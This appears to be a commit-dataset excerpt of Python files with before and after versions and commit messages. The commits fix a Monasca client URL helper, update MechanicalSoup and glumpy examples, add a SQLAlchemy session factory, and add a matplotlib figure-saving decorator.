# (C) Copyright 2014 Hewlett Packard Enterprise Development Company LP # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or # implied. # See the License for the specific language governing permissions and # limitations under the License. from monascaclient.openstack.common.apiclient import base class MonascaManager(base.BaseManager): def __init__(self, client, **kwargs): super(MonascaManager, self).__init__(client) def get_headers(self): headers = self.client.credentials_headers() return headers def get_dimensions_url_string(self, dimdict): dim_list = list() for k, v in dimdict.items(): # In case user specifies a dimension multiple times if isinstance(v, (list, tuple)): v = v[-1] if v: dim_str = k + ':' + v else: dim_str = k dim_list.append(dim_str) return ','.join(dim_list)
# (C) Copyright 2014 Hewlett Packard Enterprise Development Company LP # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or # implied. # See the License for the specific language governing permissions and # limitations under the License. from monascaclient.openstack.common.apiclient import base class MonascaManager(base.BaseManager): def __init__(self, client, **kwargs): super(MonascaManager, self).__init__(client) def get_headers(self): headers = self.client.credentials_headers() return headers def get_dimensions_url_string(self, dimdict): dim_list = list() for k, v in dimdict.items(): # In case user specifies a dimension multiple times if isinstance(v, (list, tuple)): v = v[-1] dim_str = k + ':' + v dim_list.append(dim_str) return ','.join(dim_list) Fix metric dimensions having only key When metric dimensions have only key, query parameter will be ending with ':' delimiter. But api can not handle this query parameter. So change to eliminate ':' delimiter when metric dimensions have only key. Change-Id: I1327f8fe641fe98cf16c28911ef19908468d1bc0# (C) Copyright 2014 Hewlett Packard Enterprise Development Company LP # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or # implied. # See the License for the specific language governing permissions and # limitations under the License. from monascaclient.openstack.common.apiclient import base class MonascaManager(base.BaseManager): def __init__(self, client, **kwargs): super(MonascaManager, self).__init__(client) def get_headers(self): headers = self.client.credentials_headers() return headers def get_dimensions_url_string(self, dimdict): dim_list = list() for k, v in dimdict.items(): # In case user specifies a dimension multiple times if isinstance(v, (list, tuple)): v = v[-1] if v: dim_str = k + ':' + v else: dim_str = k dim_list.append(dim_str) return ','.join(dim_list)
<commit_before># (C) Copyright 2014 Hewlett Packard Enterprise Development Company LP # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or # implied. # See the License for the specific language governing permissions and # limitations under the License. from monascaclient.openstack.common.apiclient import base class MonascaManager(base.BaseManager): def __init__(self, client, **kwargs): super(MonascaManager, self).__init__(client) def get_headers(self): headers = self.client.credentials_headers() return headers def get_dimensions_url_string(self, dimdict): dim_list = list() for k, v in dimdict.items(): # In case user specifies a dimension multiple times if isinstance(v, (list, tuple)): v = v[-1] dim_str = k + ':' + v dim_list.append(dim_str) return ','.join(dim_list) <commit_msg>Fix metric dimensions having only key When metric dimensions have only key, query parameter will be ending with ':' delimiter. But api can not handle this query parameter. So change to eliminate ':' delimiter when metric dimensions have only key. Change-Id: I1327f8fe641fe98cf16c28911ef19908468d1bc0<commit_after># (C) Copyright 2014 Hewlett Packard Enterprise Development Company LP # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or # implied. # See the License for the specific language governing permissions and # limitations under the License. from monascaclient.openstack.common.apiclient import base class MonascaManager(base.BaseManager): def __init__(self, client, **kwargs): super(MonascaManager, self).__init__(client) def get_headers(self): headers = self.client.credentials_headers() return headers def get_dimensions_url_string(self, dimdict): dim_list = list() for k, v in dimdict.items(): # In case user specifies a dimension multiple times if isinstance(v, (list, tuple)): v = v[-1] if v: dim_str = k + ':' + v else: dim_str = k dim_list.append(dim_str) return ','.join(dim_list)
1991dc4c60a338c2a5c3548684160e6ff9e858a2
examples/expl_google.py
examples/expl_google.py
import re import mechanicalsoup # Connect to Google browser = mechanicalsoup.StatefulBrowser() browser.open("https://www.google.com/") # Fill-in the form browser.select_form('form[action="/search"]') browser["q"] = "MechanicalSoup" browser.submit_selected(btnName="btnG") # Display links for link in browser.links(): target = link.attrs['href'] # Filter-out unrelated links and extract actual URL from Google's # click-tracking. if (target.startswith('/url?') and not target.startswith("/url?q=http://webcache.googleusercontent.com")): target = re.sub(r"^/url\?q=([^&]*)&.*", r"\1", target) print(target)
import re import mechanicalsoup # Connect to Google browser = mechanicalsoup.StatefulBrowser() browser.open("https://www.google.com/") # Fill-in the form browser.select_form('form[action="/search"]') browser["q"] = "MechanicalSoup" # Note: the button name is btnK in the content served to actual # browsers, but btnG for bots. browser.submit_selected(btnName="btnG") # Display links for link in browser.links(): target = link.attrs['href'] # Filter-out unrelated links and extract actual URL from Google's # click-tracking. if (target.startswith('/url?') and not target.startswith("/url?q=http://webcache.googleusercontent.com")): target = re.sub(r"^/url\?q=([^&]*)&.*", r"\1", target) print(target)
Add comment about button name on google example
Add comment about button name on google example
Python
mit
MechanicalSoup/MechanicalSoup,hemberger/MechanicalSoup,hickford/MechanicalSoup
import re import mechanicalsoup # Connect to Google browser = mechanicalsoup.StatefulBrowser() browser.open("https://www.google.com/") # Fill-in the form browser.select_form('form[action="/search"]') browser["q"] = "MechanicalSoup" browser.submit_selected(btnName="btnG") # Display links for link in browser.links(): target = link.attrs['href'] # Filter-out unrelated links and extract actual URL from Google's # click-tracking. if (target.startswith('/url?') and not target.startswith("/url?q=http://webcache.googleusercontent.com")): target = re.sub(r"^/url\?q=([^&]*)&.*", r"\1", target) print(target) Add comment about button name on google example
import re import mechanicalsoup # Connect to Google browser = mechanicalsoup.StatefulBrowser() browser.open("https://www.google.com/") # Fill-in the form browser.select_form('form[action="/search"]') browser["q"] = "MechanicalSoup" # Note: the button name is btnK in the content served to actual # browsers, but btnG for bots. browser.submit_selected(btnName="btnG") # Display links for link in browser.links(): target = link.attrs['href'] # Filter-out unrelated links and extract actual URL from Google's # click-tracking. if (target.startswith('/url?') and not target.startswith("/url?q=http://webcache.googleusercontent.com")): target = re.sub(r"^/url\?q=([^&]*)&.*", r"\1", target) print(target)
<commit_before>import re import mechanicalsoup # Connect to Google browser = mechanicalsoup.StatefulBrowser() browser.open("https://www.google.com/") # Fill-in the form browser.select_form('form[action="/search"]') browser["q"] = "MechanicalSoup" browser.submit_selected(btnName="btnG") # Display links for link in browser.links(): target = link.attrs['href'] # Filter-out unrelated links and extract actual URL from Google's # click-tracking. if (target.startswith('/url?') and not target.startswith("/url?q=http://webcache.googleusercontent.com")): target = re.sub(r"^/url\?q=([^&]*)&.*", r"\1", target) print(target) <commit_msg>Add comment about button name on google example<commit_after>
import re import mechanicalsoup # Connect to Google browser = mechanicalsoup.StatefulBrowser() browser.open("https://www.google.com/") # Fill-in the form browser.select_form('form[action="/search"]') browser["q"] = "MechanicalSoup" # Note: the button name is btnK in the content served to actual # browsers, but btnG for bots. browser.submit_selected(btnName="btnG") # Display links for link in browser.links(): target = link.attrs['href'] # Filter-out unrelated links and extract actual URL from Google's # click-tracking. if (target.startswith('/url?') and not target.startswith("/url?q=http://webcache.googleusercontent.com")): target = re.sub(r"^/url\?q=([^&]*)&.*", r"\1", target) print(target)
import re import mechanicalsoup # Connect to Google browser = mechanicalsoup.StatefulBrowser() browser.open("https://www.google.com/") # Fill-in the form browser.select_form('form[action="/search"]') browser["q"] = "MechanicalSoup" browser.submit_selected(btnName="btnG") # Display links for link in browser.links(): target = link.attrs['href'] # Filter-out unrelated links and extract actual URL from Google's # click-tracking. if (target.startswith('/url?') and not target.startswith("/url?q=http://webcache.googleusercontent.com")): target = re.sub(r"^/url\?q=([^&]*)&.*", r"\1", target) print(target) Add comment about button name on google exampleimport re import mechanicalsoup # Connect to Google browser = mechanicalsoup.StatefulBrowser() browser.open("https://www.google.com/") # Fill-in the form browser.select_form('form[action="/search"]') browser["q"] = "MechanicalSoup" # Note: the button name is btnK in the content served to actual # browsers, but btnG for bots. browser.submit_selected(btnName="btnG") # Display links for link in browser.links(): target = link.attrs['href'] # Filter-out unrelated links and extract actual URL from Google's # click-tracking. if (target.startswith('/url?') and not target.startswith("/url?q=http://webcache.googleusercontent.com")): target = re.sub(r"^/url\?q=([^&]*)&.*", r"\1", target) print(target)
<commit_before>import re import mechanicalsoup # Connect to Google browser = mechanicalsoup.StatefulBrowser() browser.open("https://www.google.com/") # Fill-in the form browser.select_form('form[action="/search"]') browser["q"] = "MechanicalSoup" browser.submit_selected(btnName="btnG") # Display links for link in browser.links(): target = link.attrs['href'] # Filter-out unrelated links and extract actual URL from Google's # click-tracking. if (target.startswith('/url?') and not target.startswith("/url?q=http://webcache.googleusercontent.com")): target = re.sub(r"^/url\?q=([^&]*)&.*", r"\1", target) print(target) <commit_msg>Add comment about button name on google example<commit_after>import re import mechanicalsoup # Connect to Google browser = mechanicalsoup.StatefulBrowser() browser.open("https://www.google.com/") # Fill-in the form browser.select_form('form[action="/search"]') browser["q"] = "MechanicalSoup" # Note: the button name is btnK in the content served to actual # browsers, but btnG for bots. browser.submit_selected(btnName="btnG") # Display links for link in browser.links(): target = link.attrs['href'] # Filter-out unrelated links and extract actual URL from Google's # click-tracking. if (target.startswith('/url?') and not target.startswith("/url?q=http://webcache.googleusercontent.com")): target = re.sub(r"^/url\?q=([^&]*)&.*", r"\1", target) print(target)
3ff24c90c9f50c849ea22e7d2d0a5fa11d1e777a
examples/hello-world.py
examples/hello-world.py
# ----------------------------------------------------------------------------- # Copyright (c) 2009-2016 Nicolas P. Rougier. All rights reserved. # Distributed under the (new) BSD License. # ----------------------------------------------------------------------------- from glumpy import app, gl, gloo, glm, data, text window = app.Window(width=512, height=512) @window.event def on_draw(dt): window.clear() label.draw(x=256, y=256, color=(1,1,1,1)) font = text.TextureFont(data.get("OpenSans-Regular.ttf"), 64) label = text.Label("Hello World !", font, anchor_x = 'center', anchor_y = 'center') app.run()
# ----------------------------------------------------------------------------- # Copyright (c) 2009-2016 Nicolas P. Rougier. All rights reserved. # Distributed under the (new) BSD License. # ----------------------------------------------------------------------------- from glumpy import app, gl, gloo, glm, data from glumpy.graphics.text import FontManager from glumpy.graphics.collections import GlyphCollection from glumpy.transforms import Position, OrthographicProjection window = app.Window(width=512, height=512) @window.event def on_draw(dt): window.clear() label.draw() x,y,z = 256,256,0 font = FontManager.get("OpenSans-Regular.ttf", 64, mode='agg') label = GlyphCollection('agg', transform=OrthographicProjection(Position())) label.append("Hello World !", font, anchor_x = 'center', anchor_y = 'center', origin=(x,y,z), color=(1,1,1,1)) window.attach(label["transform"]) app.run()
Fix hello world example broken imports
Fix hello world example broken imports
Python
bsd-3-clause
glumpy/glumpy,glumpy/glumpy
# ----------------------------------------------------------------------------- # Copyright (c) 2009-2016 Nicolas P. Rougier. All rights reserved. # Distributed under the (new) BSD License. # ----------------------------------------------------------------------------- from glumpy import app, gl, gloo, glm, data, text window = app.Window(width=512, height=512) @window.event def on_draw(dt): window.clear() label.draw(x=256, y=256, color=(1,1,1,1)) font = text.TextureFont(data.get("OpenSans-Regular.ttf"), 64) label = text.Label("Hello World !", font, anchor_x = 'center', anchor_y = 'center') app.run() Fix hello world example broken imports
# ----------------------------------------------------------------------------- # Copyright (c) 2009-2016 Nicolas P. Rougier. All rights reserved. # Distributed under the (new) BSD License. # ----------------------------------------------------------------------------- from glumpy import app, gl, gloo, glm, data from glumpy.graphics.text import FontManager from glumpy.graphics.collections import GlyphCollection from glumpy.transforms import Position, OrthographicProjection window = app.Window(width=512, height=512) @window.event def on_draw(dt): window.clear() label.draw() x,y,z = 256,256,0 font = FontManager.get("OpenSans-Regular.ttf", 64, mode='agg') label = GlyphCollection('agg', transform=OrthographicProjection(Position())) label.append("Hello World !", font, anchor_x = 'center', anchor_y = 'center', origin=(x,y,z), color=(1,1,1,1)) window.attach(label["transform"]) app.run()
<commit_before># ----------------------------------------------------------------------------- # Copyright (c) 2009-2016 Nicolas P. Rougier. All rights reserved. # Distributed under the (new) BSD License. # ----------------------------------------------------------------------------- from glumpy import app, gl, gloo, glm, data, text window = app.Window(width=512, height=512) @window.event def on_draw(dt): window.clear() label.draw(x=256, y=256, color=(1,1,1,1)) font = text.TextureFont(data.get("OpenSans-Regular.ttf"), 64) label = text.Label("Hello World !", font, anchor_x = 'center', anchor_y = 'center') app.run() <commit_msg>Fix hello world example broken imports<commit_after>
# ----------------------------------------------------------------------------- # Copyright (c) 2009-2016 Nicolas P. Rougier. All rights reserved. # Distributed under the (new) BSD License. # ----------------------------------------------------------------------------- from glumpy import app, gl, gloo, glm, data from glumpy.graphics.text import FontManager from glumpy.graphics.collections import GlyphCollection from glumpy.transforms import Position, OrthographicProjection window = app.Window(width=512, height=512) @window.event def on_draw(dt): window.clear() label.draw() x,y,z = 256,256,0 font = FontManager.get("OpenSans-Regular.ttf", 64, mode='agg') label = GlyphCollection('agg', transform=OrthographicProjection(Position())) label.append("Hello World !", font, anchor_x = 'center', anchor_y = 'center', origin=(x,y,z), color=(1,1,1,1)) window.attach(label["transform"]) app.run()
# ----------------------------------------------------------------------------- # Copyright (c) 2009-2016 Nicolas P. Rougier. All rights reserved. # Distributed under the (new) BSD License. # ----------------------------------------------------------------------------- from glumpy import app, gl, gloo, glm, data, text window = app.Window(width=512, height=512) @window.event def on_draw(dt): window.clear() label.draw(x=256, y=256, color=(1,1,1,1)) font = text.TextureFont(data.get("OpenSans-Regular.ttf"), 64) label = text.Label("Hello World !", font, anchor_x = 'center', anchor_y = 'center') app.run() Fix hello world example broken imports# ----------------------------------------------------------------------------- # Copyright (c) 2009-2016 Nicolas P. Rougier. All rights reserved. # Distributed under the (new) BSD License. # ----------------------------------------------------------------------------- from glumpy import app, gl, gloo, glm, data from glumpy.graphics.text import FontManager from glumpy.graphics.collections import GlyphCollection from glumpy.transforms import Position, OrthographicProjection window = app.Window(width=512, height=512) @window.event def on_draw(dt): window.clear() label.draw() x,y,z = 256,256,0 font = FontManager.get("OpenSans-Regular.ttf", 64, mode='agg') label = GlyphCollection('agg', transform=OrthographicProjection(Position())) label.append("Hello World !", font, anchor_x = 'center', anchor_y = 'center', origin=(x,y,z), color=(1,1,1,1)) window.attach(label["transform"]) app.run()
<commit_before># ----------------------------------------------------------------------------- # Copyright (c) 2009-2016 Nicolas P. Rougier. All rights reserved. # Distributed under the (new) BSD License. # ----------------------------------------------------------------------------- from glumpy import app, gl, gloo, glm, data, text window = app.Window(width=512, height=512) @window.event def on_draw(dt): window.clear() label.draw(x=256, y=256, color=(1,1,1,1)) font = text.TextureFont(data.get("OpenSans-Regular.ttf"), 64) label = text.Label("Hello World !", font, anchor_x = 'center', anchor_y = 'center') app.run() <commit_msg>Fix hello world example broken imports<commit_after># ----------------------------------------------------------------------------- # Copyright (c) 2009-2016 Nicolas P. Rougier. All rights reserved. # Distributed under the (new) BSD License. # ----------------------------------------------------------------------------- from glumpy import app, gl, gloo, glm, data from glumpy.graphics.text import FontManager from glumpy.graphics.collections import GlyphCollection from glumpy.transforms import Position, OrthographicProjection window = app.Window(width=512, height=512) @window.event def on_draw(dt): window.clear() label.draw() x,y,z = 256,256,0 font = FontManager.get("OpenSans-Regular.ttf", 64, mode='agg') label = GlyphCollection('agg', transform=OrthographicProjection(Position())) label.append("Hello World !", font, anchor_x = 'center', anchor_y = 'center', origin=(x,y,z), color=(1,1,1,1)) window.attach(label["transform"]) app.run()
8545faa94a95ddeabffc444bcaf65e764c0c8712
fresque/lib/__init__.py
fresque/lib/__init__.py
# -*- coding: utf-8 -*- ''' Internal library for the fresque application. This module and all its files contains all the operations independant of the framework and should be completely covered in unit-tests. ''' import sqlalchemy as sa import fresque.lib.database as db
# -*- coding: utf-8 -*- ''' Internal library for the fresque application. This module and all its files contains all the operations independant of the framework and should be completely covered in unit-tests. ''' import sqlalchemy as sa import fresque.lib.database as db from sqlalchemy.orm import sessionmaker from sqlalchemy.orm import scoped_session from sqlalchemy.orm.exc import NoResultFound from sqlalchemy.exc import SQLAlchemyError def create_session(db_url, debug=False, pool_recycle=3600): """ Create the Session object to use to query the database. :arg db_url: URL used to connect to the database. The URL contains information with regards to the database engine, the host to connect to, the user and password and the database name. ie: <engine>://<user>:<password>@<host>/<dbname> :kwarg debug: a boolean specifying wether we should have the verbose output of sqlalchemy or not. :return a Session that can be used to query the database. """ engine = sa.create_engine( db_url, echo=debug, pool_recycle=pool_recycle) scopedsession = scoped_session(sessionmaker(bind=engine)) return scopedsession
Add method to create a database session in the internal library
Add method to create a database session in the internal library
Python
agpl-3.0
fedora-infra/fresque,whitel/fresque,rahulrrixe/fresque,whitel/fresque,fedora-infra/fresque,vivekanand1101/fresque,vivekanand1101/fresque,whitel/fresque,rahulrrixe/fresque,rahulrrixe/fresque,vivekanand1101/fresque,fedora-infra/fresque,fedora-infra/fresque,rahulrrixe/fresque,whitel/fresque,vivekanand1101/fresque
# -*- coding: utf-8 -*- ''' Internal library for the fresque application. This module and all its files contains all the operations independant of the framework and should be completely covered in unit-tests. ''' import sqlalchemy as sa import fresque.lib.database as db Add method to create a database session in the internal library
# -*- coding: utf-8 -*- ''' Internal library for the fresque application. This module and all its files contains all the operations independant of the framework and should be completely covered in unit-tests. ''' import sqlalchemy as sa import fresque.lib.database as db from sqlalchemy.orm import sessionmaker from sqlalchemy.orm import scoped_session from sqlalchemy.orm.exc import NoResultFound from sqlalchemy.exc import SQLAlchemyError def create_session(db_url, debug=False, pool_recycle=3600): """ Create the Session object to use to query the database. :arg db_url: URL used to connect to the database. The URL contains information with regards to the database engine, the host to connect to, the user and password and the database name. ie: <engine>://<user>:<password>@<host>/<dbname> :kwarg debug: a boolean specifying wether we should have the verbose output of sqlalchemy or not. :return a Session that can be used to query the database. """ engine = sa.create_engine( db_url, echo=debug, pool_recycle=pool_recycle) scopedsession = scoped_session(sessionmaker(bind=engine)) return scopedsession
<commit_before># -*- coding: utf-8 -*- ''' Internal library for the fresque application. This module and all its files contains all the operations independant of the framework and should be completely covered in unit-tests. ''' import sqlalchemy as sa import fresque.lib.database as db <commit_msg>Add method to create a database session in the internal library<commit_after>
# -*- coding: utf-8 -*- ''' Internal library for the fresque application. This module and all its files contains all the operations independant of the framework and should be completely covered in unit-tests. ''' import sqlalchemy as sa import fresque.lib.database as db from sqlalchemy.orm import sessionmaker from sqlalchemy.orm import scoped_session from sqlalchemy.orm.exc import NoResultFound from sqlalchemy.exc import SQLAlchemyError def create_session(db_url, debug=False, pool_recycle=3600): """ Create the Session object to use to query the database. :arg db_url: URL used to connect to the database. The URL contains information with regards to the database engine, the host to connect to, the user and password and the database name. ie: <engine>://<user>:<password>@<host>/<dbname> :kwarg debug: a boolean specifying wether we should have the verbose output of sqlalchemy or not. :return a Session that can be used to query the database. """ engine = sa.create_engine( db_url, echo=debug, pool_recycle=pool_recycle) scopedsession = scoped_session(sessionmaker(bind=engine)) return scopedsession
# -*- coding: utf-8 -*- ''' Internal library for the fresque application. This module and all its files contains all the operations independant of the framework and should be completely covered in unit-tests. ''' import sqlalchemy as sa import fresque.lib.database as db Add method to create a database session in the internal library# -*- coding: utf-8 -*- ''' Internal library for the fresque application. This module and all its files contains all the operations independant of the framework and should be completely covered in unit-tests. ''' import sqlalchemy as sa import fresque.lib.database as db from sqlalchemy.orm import sessionmaker from sqlalchemy.orm import scoped_session from sqlalchemy.orm.exc import NoResultFound from sqlalchemy.exc import SQLAlchemyError def create_session(db_url, debug=False, pool_recycle=3600): """ Create the Session object to use to query the database. :arg db_url: URL used to connect to the database. The URL contains information with regards to the database engine, the host to connect to, the user and password and the database name. ie: <engine>://<user>:<password>@<host>/<dbname> :kwarg debug: a boolean specifying wether we should have the verbose output of sqlalchemy or not. :return a Session that can be used to query the database. """ engine = sa.create_engine( db_url, echo=debug, pool_recycle=pool_recycle) scopedsession = scoped_session(sessionmaker(bind=engine)) return scopedsession
<commit_before># -*- coding: utf-8 -*- ''' Internal library for the fresque application. This module and all its files contains all the operations independant of the framework and should be completely covered in unit-tests. ''' import sqlalchemy as sa import fresque.lib.database as db <commit_msg>Add method to create a database session in the internal library<commit_after># -*- coding: utf-8 -*- ''' Internal library for the fresque application. This module and all its files contains all the operations independant of the framework and should be completely covered in unit-tests. ''' import sqlalchemy as sa import fresque.lib.database as db from sqlalchemy.orm import sessionmaker from sqlalchemy.orm import scoped_session from sqlalchemy.orm.exc import NoResultFound from sqlalchemy.exc import SQLAlchemyError def create_session(db_url, debug=False, pool_recycle=3600): """ Create the Session object to use to query the database. :arg db_url: URL used to connect to the database. The URL contains information with regards to the database engine, the host to connect to, the user and password and the database name. ie: <engine>://<user>:<password>@<host>/<dbname> :kwarg debug: a boolean specifying wether we should have the verbose output of sqlalchemy or not. :return a Session that can be used to query the database. """ engine = sa.create_engine( db_url, echo=debug, pool_recycle=pool_recycle) scopedsession = scoped_session(sessionmaker(bind=engine)) return scopedsession
fe362e1950e8cc6c993223d7b7236e285e7a368f
neurodsp/plts/utils.py
neurodsp/plts/utils.py
"""Utility functions for NeuroDSP plots.""" import matplotlib.pyplot as plt ################################################################################################### ################################################################################################### def check_ax(ax, figsize=None): """Check whether a figure axes object is defined, define if not. Parameters ---------- ax : matplotlib.Axes or None Axes object to check if is defined. Returns ------- ax : matplotlib.Axes Figure axes object to use. """ if not ax: _, ax = plt.subplots(figsize=figsize) return ax
"""Utility functions for NeuroDSP plots.""" from functools import wraps from os.path import join as pjoin import matplotlib.pyplot as plt ################################################################################################### ################################################################################################### def check_ax(ax, figsize=None): """Check whether a figure axes object is defined, define if not. Parameters ---------- ax : matplotlib.Axes or None Axes object to check if is defined. Returns ------- ax : matplotlib.Axes Figure axes object to use. """ if not ax: _, ax = plt.subplots(figsize=figsize) return ax def savefig(func): @wraps(func) def decorated(*args, **kwargs): save_fig = kwargs.pop('save_fig', False) file_name = kwargs.pop('file_name', None) file_path = kwargs.pop('file_path', None) func(*args, **kwargs) if save_fig: full_path = pjoin(file_path, file_name) if file_path else file_name plt.savefig(full_path) return decorated
Add decorator for saving plts
Add decorator for saving plts
Python
apache-2.0
voytekresearch/neurodsp,srcole/neurodsp,srcole/neurodsp
"""Utility functions for NeuroDSP plots.""" import matplotlib.pyplot as plt ################################################################################################### ################################################################################################### def check_ax(ax, figsize=None): """Check whether a figure axes object is defined, define if not. Parameters ---------- ax : matplotlib.Axes or None Axes object to check if is defined. Returns ------- ax : matplotlib.Axes Figure axes object to use. """ if not ax: _, ax = plt.subplots(figsize=figsize) return ax Add decorator for saving plts
"""Utility functions for NeuroDSP plots.""" from functools import wraps from os.path import join as pjoin import matplotlib.pyplot as plt ################################################################################################### ################################################################################################### def check_ax(ax, figsize=None): """Check whether a figure axes object is defined, define if not. Parameters ---------- ax : matplotlib.Axes or None Axes object to check if is defined. Returns ------- ax : matplotlib.Axes Figure axes object to use. """ if not ax: _, ax = plt.subplots(figsize=figsize) return ax def savefig(func): @wraps(func) def decorated(*args, **kwargs): save_fig = kwargs.pop('save_fig', False) file_name = kwargs.pop('file_name', None) file_path = kwargs.pop('file_path', None) func(*args, **kwargs) if save_fig: full_path = pjoin(file_path, file_name) if file_path else file_name plt.savefig(full_path) return decorated
<commit_before>"""Utility functions for NeuroDSP plots.""" import matplotlib.pyplot as plt ################################################################################################### ################################################################################################### def check_ax(ax, figsize=None): """Check whether a figure axes object is defined, define if not. Parameters ---------- ax : matplotlib.Axes or None Axes object to check if is defined. Returns ------- ax : matplotlib.Axes Figure axes object to use. """ if not ax: _, ax = plt.subplots(figsize=figsize) return ax <commit_msg>Add decorator for saving plts<commit_after>
"""Utility functions for NeuroDSP plots.""" from functools import wraps from os.path import join as pjoin import matplotlib.pyplot as plt ################################################################################################### ################################################################################################### def check_ax(ax, figsize=None): """Check whether a figure axes object is defined, define if not. Parameters ---------- ax : matplotlib.Axes or None Axes object to check if is defined. Returns ------- ax : matplotlib.Axes Figure axes object to use. """ if not ax: _, ax = plt.subplots(figsize=figsize) return ax def savefig(func): @wraps(func) def decorated(*args, **kwargs): save_fig = kwargs.pop('save_fig', False) file_name = kwargs.pop('file_name', None) file_path = kwargs.pop('file_path', None) func(*args, **kwargs) if save_fig: full_path = pjoin(file_path, file_name) if file_path else file_name plt.savefig(full_path) return decorated
"""Utility functions for NeuroDSP plots.""" import matplotlib.pyplot as plt ################################################################################################### ################################################################################################### def check_ax(ax, figsize=None): """Check whether a figure axes object is defined, define if not. Parameters ---------- ax : matplotlib.Axes or None Axes object to check if is defined. Returns ------- ax : matplotlib.Axes Figure axes object to use. """ if not ax: _, ax = plt.subplots(figsize=figsize) return ax Add decorator for saving plts"""Utility functions for NeuroDSP plots.""" from functools import wraps from os.path import join as pjoin import matplotlib.pyplot as plt ################################################################################################### ################################################################################################### def check_ax(ax, figsize=None): """Check whether a figure axes object is defined, define if not. Parameters ---------- ax : matplotlib.Axes or None Axes object to check if is defined. Returns ------- ax : matplotlib.Axes Figure axes object to use. """ if not ax: _, ax = plt.subplots(figsize=figsize) return ax def savefig(func): @wraps(func) def decorated(*args, **kwargs): save_fig = kwargs.pop('save_fig', False) file_name = kwargs.pop('file_name', None) file_path = kwargs.pop('file_path', None) func(*args, **kwargs) if save_fig: full_path = pjoin(file_path, file_name) if file_path else file_name plt.savefig(full_path) return decorated
<commit_before>"""Utility functions for NeuroDSP plots.""" import matplotlib.pyplot as plt ################################################################################################### ################################################################################################### def check_ax(ax, figsize=None): """Check whether a figure axes object is defined, define if not. Parameters ---------- ax : matplotlib.Axes or None Axes object to check if is defined. Returns ------- ax : matplotlib.Axes Figure axes object to use. """ if not ax: _, ax = plt.subplots(figsize=figsize) return ax <commit_msg>Add decorator for saving plts<commit_after>"""Utility functions for NeuroDSP plots.""" from functools import wraps from os.path import join as pjoin import matplotlib.pyplot as plt ################################################################################################### ################################################################################################### def check_ax(ax, figsize=None): """Check whether a figure axes object is defined, define if not. Parameters ---------- ax : matplotlib.Axes or None Axes object to check if is defined. Returns ------- ax : matplotlib.Axes Figure axes object to use. """ if not ax: _, ax = plt.subplots(figsize=figsize) return ax def savefig(func): @wraps(func) def decorated(*args, **kwargs): save_fig = kwargs.pop('save_fig', False) file_name = kwargs.pop('file_name', None) file_path = kwargs.pop('file_path', None) func(*args, **kwargs) if save_fig: full_path = pjoin(file_path, file_name) if file_path else file_name plt.savefig(full_path) return decorated